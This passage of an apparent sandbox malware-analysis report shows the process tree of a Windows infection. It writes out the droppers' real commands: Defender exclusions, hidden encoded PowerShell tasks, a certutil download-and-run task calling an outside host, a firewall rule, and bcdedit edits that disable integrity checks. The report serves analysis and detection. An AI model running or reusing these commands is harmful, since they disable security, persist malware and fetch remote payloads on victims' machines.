C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&44⤵PID:10104
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3245⤵PID:4772
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6445⤵PID:9888
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gOsoSHmLP" /SC once /ST 06:31:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="43⤵
- Creates scheduled task(s)
PID:10760 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gOsoSHmLP"43⤵PID:11240
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gOsoSHmLP"43⤵PID:4228
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWIRRaDZCpCYZHZEtf" /SC once /ST 16:39:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\Ehlsplu.exe\" nh /site_id 754 /S" /V1 /F43⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:14964 -
C:\Users\Admin\AppData\Local\Temp\is-RHPP2.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-RHPP2.tmp\hjjgaa.exe" /Verysilent35⤵PID:4604
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt36⤵PID:5944
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt36⤵PID:8248
-
C:\Users\Admin\AppData\Local\Temp\5f3t1uh14q5\ugk5iqmtyu1.exe"C:\Users\Admin\AppData\Local\Temp\5f3t1uh14q5\ugk5iqmtyu1.exe" /ustwo INSTALL31⤵PID:10472
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10472 -s 64832⤵
- Program crash
PID:12960 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10472 -s 68432⤵
- Program crash
PID:12220 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10472 -s 76432⤵
- Program crash
PID:12532 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10472 -s 81232⤵
- Program crash
PID:12824 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10472 -s 88032⤵
- Program crash
PID:10660 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10472 -s 92832⤵
- Program crash
PID:14740 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10472 -s 109232⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:14504 -
C:\Users\Admin\AppData\Local\Temp\3fzaobzkxcl\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\3fzaobzkxcl\askinstall24.exe"31⤵PID:10488
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe32⤵PID:11172
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe33⤵
- Kills process with taskkill
PID:11396 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qbu3sgke.555\setup.exe /S /kr /site_id=754 & exit26⤵PID:4148
-
C:\Users\Admin\AppData\Local\Temp\qbu3sgke.555\setup.exeC:\Users\Admin\AppData\Local\Temp\qbu3sgke.555\setup.exe /S /kr /site_id=75427⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
PID:5464 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"28⤵PID:16772
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&29⤵PID:6688
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3230⤵PID:5856
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6430⤵PID:7228
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gOHnIvVRd" /SC once /ST 11:13:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="28⤵
- Creates scheduled task(s)
PID:5988 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gOHnIvVRd"28⤵PID:7844
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gOHnIvVRd"28⤵PID:12412
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bWIRRaDZCpCYZHZEtf" /SC once /ST 16:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pHalBSNsGkNRysJIj\BvDcUbfWcHtFaGn\bRoENFo.exe\" nh /site_id 754 /S" /V1 /F28⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:12196 -
C:\Users\Admin\AppData\Local\Temp\is-Q81MB.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-Q81MB.tmp\hjjgaa.exe" /Verysilent20⤵PID:5020
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt21⤵PID:4312
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt21⤵PID:10564
-
C:\Users\Admin\AppData\Local\Temp\pwe2lb3o4c4\xw204n1ofqr.exe"C:\Users\Admin\AppData\Local\Temp\pwe2lb3o4c4\xw204n1ofqr.exe" /ustwo INSTALL16⤵
- Executes dropped EXE
PID:4872 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 64817⤵
- Drops file in Windows directory
- Program crash
PID:7036 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 66417⤵
- Program crash
PID:4756 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 76417⤵
- Program crash
PID:5736 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 80017⤵
- Program crash
PID:6924 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 88017⤵
- Program crash
PID:4712 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 95617⤵
- Program crash
PID:8088 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 108817⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:8144 -
C:\Users\Admin\AppData\Local\Temp\5vxvsbsxcne\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\5vxvsbsxcne\AwesomePoolU1.exe"16⤵
- Executes dropped EXE
PID:4932 -
C:\Users\Admin\AppData\Local\Temp\bj3h1ou2qw4\vict.exe"C:\Users\Admin\AppData\Local\Temp\bj3h1ou2qw4\vict.exe" /VERYSILENT /id=53516⤵
- Executes dropped EXE
PID:4972 -
C:\Users\Admin\AppData\Local\Temp\is-GMUTH.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-GMUTH.tmp\vict.tmp" /SL5="$30374,870426,780800,C:\Users\Admin\AppData\Local\Temp\bj3h1ou2qw4\vict.exe" /VERYSILENT /id=53517⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:5316 -
C:\Users\Admin\AppData\Local\Temp\is-N2JME.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-N2JME.tmp\wimapi.exe" 53518⤵
- Executes dropped EXE
PID:5860 -
C:\Users\Admin\AppData\Local\Temp\jjSCW2eoA.exe"C:\Users\Admin\AppData\Local\Temp\jjSCW2eoA.exe"19⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7268 -
C:\Users\Admin\AppData\Local\Temp\jjSCW2eoA.exe"C:\Users\Admin\AppData\Local\Temp\jjSCW2eoA.exe"20⤵
- Executes dropped EXE
- Checks processor information in registry
PID:7820 -
C:\Users\Admin\AppData\Local\Temp\43bouh4fhun\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\43bouh4fhun\askinstall24.exe"16⤵
- Executes dropped EXE
PID:412 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe17⤵PID:5844
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe18⤵
- Kills process with taskkill
PID:6120 -
C:\Users\Admin\AppData\Local\Temp\5rxdndvzuj3\vpn.exe"C:\Users\Admin\AppData\Local\Temp\5rxdndvzuj3\vpn.exe" /silent /subid=48216⤵
- Executes dropped EXE
PID:5156 -
C:\Users\Admin\AppData\Local\Temp\is-92BSA.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-92BSA.tmp\vpn.tmp" /SL5="$4032C,15170975,270336,C:\Users\Admin\AppData\Local\Temp\5rxdndvzuj3\vpn.exe" /silent /subid=48217⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:5328 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "18⤵PID:6536
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090119⤵PID:7048
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "18⤵PID:8204
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090119⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies system certificate store
PID:8380 -
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall18⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:9344 -
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install18⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:10744 -
C:\Users\Admin\AppData\Local\Temp\1dradornysh\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\1dradornysh\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq16⤵
- Executes dropped EXE
PID:5144 -
C:\Users\Admin\AppData\Local\Temp\is-2J4TE.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-2J4TE.tmp\IBInstaller_97039.tmp" /SL5="$30328,14597143,721408,C:\Users\Admin\AppData\Local\Temp\1dradornysh\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq17⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:5368 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://janiboots.store/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703918⤵
- Checks computer location settings
PID:5616 -
C:\Users\Admin\AppData\Local\Temp\is-JAN82.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-JAN82.tmp\{app}\chrome_proxy.exe"18⤵
- Executes dropped EXE
PID:5636 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-JAN82.tmp\{app}\chrome_proxy.exe"19⤵PID:8552
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 420⤵
- Runs ping.exe
PID:8612 -
C:\Users\Admin\AppData\Local\Temp\r1ro5y1grzo\app.exe"C:\Users\Admin\AppData\Local\Temp\r1ro5y1grzo\app.exe" /8-2316⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:5300 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Black-Haze"17⤵PID:5504
-
C:\Program Files (x86)\Black-Haze\7za.exe"C:\Program Files (x86)\Black-Haze\7za.exe" e -p154.61.71.51 winamp-plugins.7z17⤵
- Executes dropped EXE
PID:7608 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Black-Haze\app.exe" -map "C:\Program Files (x86)\Black-Haze\WinmonProcessMonitor.sys""17⤵PID:8024
-
C:\Program Files (x86)\Black-Haze\app.exe"C:\Program Files (x86)\Black-Haze\app.exe" -map "C:\Program Files (x86)\Black-Haze\WinmonProcessMonitor.sys"18⤵
- Suspicious behavior: LoadsDriver
PID:8128 -
C:\Program Files (x86)\Black-Haze\7za.exe"C:\Program Files (x86)\Black-Haze\7za.exe" e -p154.61.71.51 winamp.7z17⤵PID:8308
-
C:\Program Files (x86)\Black-Haze\app.exe"C:\Program Files (x86)\Black-Haze\app.exe" /8-2317⤵PID:7328
-
C:\Program Files (x86)\Black-Haze\app.exe"C:\Program Files (x86)\Black-Haze\app.exe" /8-2318⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:5136 -
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"19⤵PID:11260
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes20⤵PID:11392
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2319⤵
- Drops file in Drivers directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:11684 -
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F20⤵
- Creates scheduled task(s)
PID:11964 -
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F20⤵
- Creates scheduled task(s)
PID:12440 -
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"20⤵
- Loads dropped DLL
PID:13460 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER21⤵
- Modifies boot configuration data using bcdedit
PID:12948 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:21⤵
- Modifies boot configuration data using bcdedit
PID:13188 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:21⤵
- Modifies boot configuration data using bcdedit
PID:12800 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows21⤵
- Modifies boot configuration data using bcdedit
PID:13088 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe21⤵
- Modifies boot configuration data using bcdedit
PID:13576 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe21⤵
- Modifies boot configuration data using bcdedit
PID:13260 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 021⤵
- Modifies boot configuration data using bcdedit
PID:13208 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn21⤵
- Modifies boot configuration data using bcdedit
PID:13400 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 121⤵
- Modifies boot configuration data using bcdedit
PID:7772 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}21⤵
- Modifies boot configuration data using bcdedit
PID:14016 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast21⤵
- Modifies boot configuration data using bcdedit
PID:14304 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 021⤵
- Modifies boot configuration data using bcdedit
PID:13884 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}21⤵
- Modifies boot configuration data using bcdedit
PID:14084 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy21⤵
- Modifies boot configuration data using bcdedit
PID:7672 -
C:\Windows\System32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v20⤵
- Modifies boot configuration data using bcdedit
PID:14204 -
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe20⤵
- Drops file in Drivers directory
PID:15084 -
C:\Windows\windefender.exe"C:\Windows\windefender.exe"20⤵PID:6080
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)21⤵PID:1924
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)22⤵PID:6268
-
C:\Users\Admin\AppData\Local\Temp\csrss\ww31.exeC:\Users\Admin\AppData\Local\Temp\csrss\ww31.exe20⤵PID:10912
-
C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exeC:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe20⤵PID:9556
-
C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe"C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe"21⤵PID:11092
-
C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exeC:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe20⤵PID:5332
-
C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe"C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe"21⤵PID:15916
-
C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exeC:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe20⤵PID:11576
-
C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe"C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe"21⤵PID:13548
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://humisnee.com/test.php?uuid=3da84874-5b8d-41cf-9b6d-93383f79a12d&browser=chrome22⤵PID:13680
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffc40fa6e00,0x7ffc40fa6e10,0x7ffc40fa6e2023⤵PID:13348
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2724 /prefetch:123⤵PID:13400
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1688 /prefetch:123⤵PID:13244
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1692 /prefetch:823⤵PID:12492
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1644 /prefetch:223⤵PID:12060
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:123⤵PID:14004
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3624 /prefetch:123⤵PID:10284
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:123⤵PID:14100
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:123⤵PID:14412
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1628,3617537869483437240,7208223130852799994,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4240 /prefetch:823⤵PID:8640
-
C:\Users\Admin\AppData\Local\Temp\csrss\mg20201223-1.exeC:\Users\Admin\AppData\Local\Temp\csrss\mg20201223-1.exe20⤵PID:9856
-
C:\Users\Admin\AppData\Local\Temp\csrss\ml20201223.exeC:\Users\Admin\AppData\Local\Temp\csrss\ml20201223.exe20⤵PID:11332
-
C:\Users\Admin\AppData\Local\Temp\csrss\m672.exeC:\Users\Admin\AppData\Local\Temp\csrss\m672.exe20⤵PID:11168
-
C:\Users\Admin\AppData\Local\Temp\T4MAUD0HDD\setups.exe"C:\Users\Admin\AppData\Local\Temp\T4MAUD0HDD\setups.exe" ll13⤵
- Executes dropped EXE
PID:16444 -
C:\Users\Admin\AppData\Local\Temp\is-3TBB0.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-3TBB0.tmp\setups.tmp" /SL5="$6014E,549376,61440,C:\Users\Admin\AppData\Local\Temp\T4MAUD0HDD\setups.exe" ll14⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
PID:16500 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5ac3n1xe.p5d\setup.exe /S /kr /site_id=754 & exit11⤵PID:16432
-
C:\Users\Admin\AppData\Local\Temp\5ac3n1xe.p5d\setup.exeC:\Users\Admin\AppData\Local\Temp\5ac3n1xe.p5d\setup.exe /S /kr /site_id=75412⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
PID:16672 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"13⤵PID:17088
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&14⤵PID:2096
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3215⤵PID:17272
-
